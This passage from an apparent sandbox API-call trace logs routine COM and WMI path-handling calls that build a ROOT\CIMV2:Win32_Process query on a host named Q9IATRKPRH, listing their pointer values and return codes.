ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0056.867] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11ae440, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1169500) returned 0x0 [0056.867] WbemDefPath:IUnknown:Release (This=0x11ae440) returned 0x0 [0056.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1169500) returned 0x0 [0056.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0056.867] WbemDefPath:IUnknown:AddRef (This=0x1169500) returned 0x3 [0056.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0056.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0056.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x11ae460) returned 0x0 [0056.867] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11ae460, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.867] WbemDefPath:IUnknown:Release (This=0x11ae460) returned 0x3 [0056.867] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0056.867] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0056.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0056.867] WbemDefPath:IUnknown:Release (This=0x1169500) returned 0x2 [0056.868] WbemDefPath:IUnknown:Release (This=0x1169500) returned 0x1 [0056.868] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0056.868] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0056.868] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1169500) returned 0x0 [0056.868] WbemDefPath:IUnknown:AddRef (This=0x1169500) returned 0x3 [0056.868] WbemDefPath:IUnknown:Release (This=0x1169500) returned 0x2 [0056.868] WbemDefPath:IWbemPath:SetText (This=0x1169500, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0056.868] IWbemClassObject:Get (in: This=0x11be2f0, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0056.868] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0056.868] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0056.868] IWbemClassObject:Get (in: This=0x11be2f0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0056.868] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0056.868] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0056.869] IWbemClassObject:Get (in: This=0x11be2f0, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0056.869] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0056.869] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0056.869] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0056.869] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0056.869] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0056.869] IUnknown:Release (This=0x111f638) returned 0x1 [0056.871] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11be6f0) returned 0x0 [0056.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x11be6f0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0056.871] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11be6f0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x11695c0) returned 0x0 [0056.871] WbemDefPath:IUnknown:Release (This=0x11be6f0) returned 0x0 [0056.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x11695c0) returned 0x0 [0056.871] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0056.872] WbemDefPath:IUnknown:AddRef (This=0x11695c0) returned 0x3 [0056.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0056.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0056.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11be730) returned 0x0 [0056.872] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11be730, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.872] WbemDefPath:IUnknown:Release (This=0x11be730) returned 0x3 [0056.872] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0056.872] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0056.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0056.872] WbemDefPath:IUnknown:Release (This=0x11695c0) returned 0x2 [0056.872] WbemDefPath:IUnknown:Release (This=0x11695c0) returned 0x1 [0056.872] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0056.872] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0056.872] WbemDefPath:IUnknown:QueryInterface (in: This=0x11695c0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11695c0) returned 0x0 [0056.872] WbemDefPath:IUnknown:AddRef (This=0x11695c0) returned 0x3 [0056.872] WbemDefPath:IUnknown:Release (This=0x11695c0) returned 0x2 [0056.872] WbemDefPath:IWbemPath:SetText (This=0x11695c0, uMode=0x4, pszPath="") returned 0x0 [0056.872] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0056.872] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0056.872] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0056.872] IUnknown:Release (This=0x111f638) returned 0x1 [0056.874] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11be6f0) returned 0x0 [0056.874] WbemDefPath:IUnknown:QueryInterface (in: This=0x11be6f0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0056.874] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11be6f0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1169680) returned 0x0 [0056.874] WbemDefPath:IUnknown:Release (This=0x11be6f0) returned 0x0 [0056.874] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1169680) returned 0x0 [0056.874] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0056.875] WbemDefPath:IUnknown:AddRef (This=0x1169680) returned 0x3 [0056.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0056.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0056.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11be770) returned 0x0 [0056.875] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11be770, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.875] WbemDefPath:IUnknown:Release (This=0x11be770) returned 0x3 [0056.875] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0056.875] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0056.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0056.875] WbemDefPath:IUnknown:Release (This=0x1169680) returned 0x2 [0056.875] WbemDefPath:IUnknown:Release (This=0x1169680) returned 0x1 [0056.875] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0056.875] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0056.875] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169680, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1169680) returned 0x0 [0056.875] WbemDefPath:IUnknown:AddRef (This=0x1169680) returned 0x3 [0056.875] WbemDefPath:IUnknown:Release (This=0x1169680) returned 0x2 [0056.876] WbemDefPath:IWbemPath:SetText (This=0x1169680, uMode=0x4, pszPath="") returned 0x0 [0056.876] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169680, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0056.876] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11695c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0056.877] WbemDefPath:IWbemPath:GetClassName (in: This=0x1169680, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0056.877] WbemDefPath:IWbemPath:GetServer (in: This=0x1169680, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0056.877] WbemDefPath:IWbemPath:SetServer (This=0x1169680, Name="Q9IATRKPRH") returned 0x0 [0056.877] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0056.877] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0056.878] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0056.878] IUnknown:Release (This=0x111f638) returned 0x1 [0056.879] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11be790) returned 0x0 [0056.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x11be790, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0056.880] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11be790, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1169740) returned 0x0 [0056.880] WbemDefPath:IUnknown:Release (This=0x11be790) returned 0x0 [0056.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1169740) returned 0x0 [0056.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0056.880] WbemDefPath:IUnknown:AddRef (This=0x1169740) returned 0x3 [0056.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0056.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0056.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11be7d0) returned 0x0 [0056.880] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11be7d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0056.880] WbemDefPath:IUnknown:Release (This=0x11be7d0) returned 0x3 [0056.881] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0056.881] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0056.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0056.881] WbemDefPath:IUnknown:Release (This=0x1169740) returned 0x2 [0056.881] WbemDefPath:IUnknown:Release (This=0x1169740) returned 0x1 [0056.881] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0056.881] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0056.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169740, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1169740) returned 0x0 [0056.881] WbemDefPath:IUnknown:AddRef (This=0x1169740) returned 0x3 [0056.881] WbemDefPath:IUnknown:Release (This=0x1169740) returned 0x2 [0056.881] WbemDefPath:IWbemPath:SetText (This=0x1169740, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0056.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169680, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0056.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169740, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0056.881] WbemDefPath:IWbemPath:GetText (in: This=0x1169740, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0056.881] WbemDefPath:IWbemPath:GetText (in: This=0x1169740, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0056.882] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1169680) returned 0x0 [0056.882] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169740, 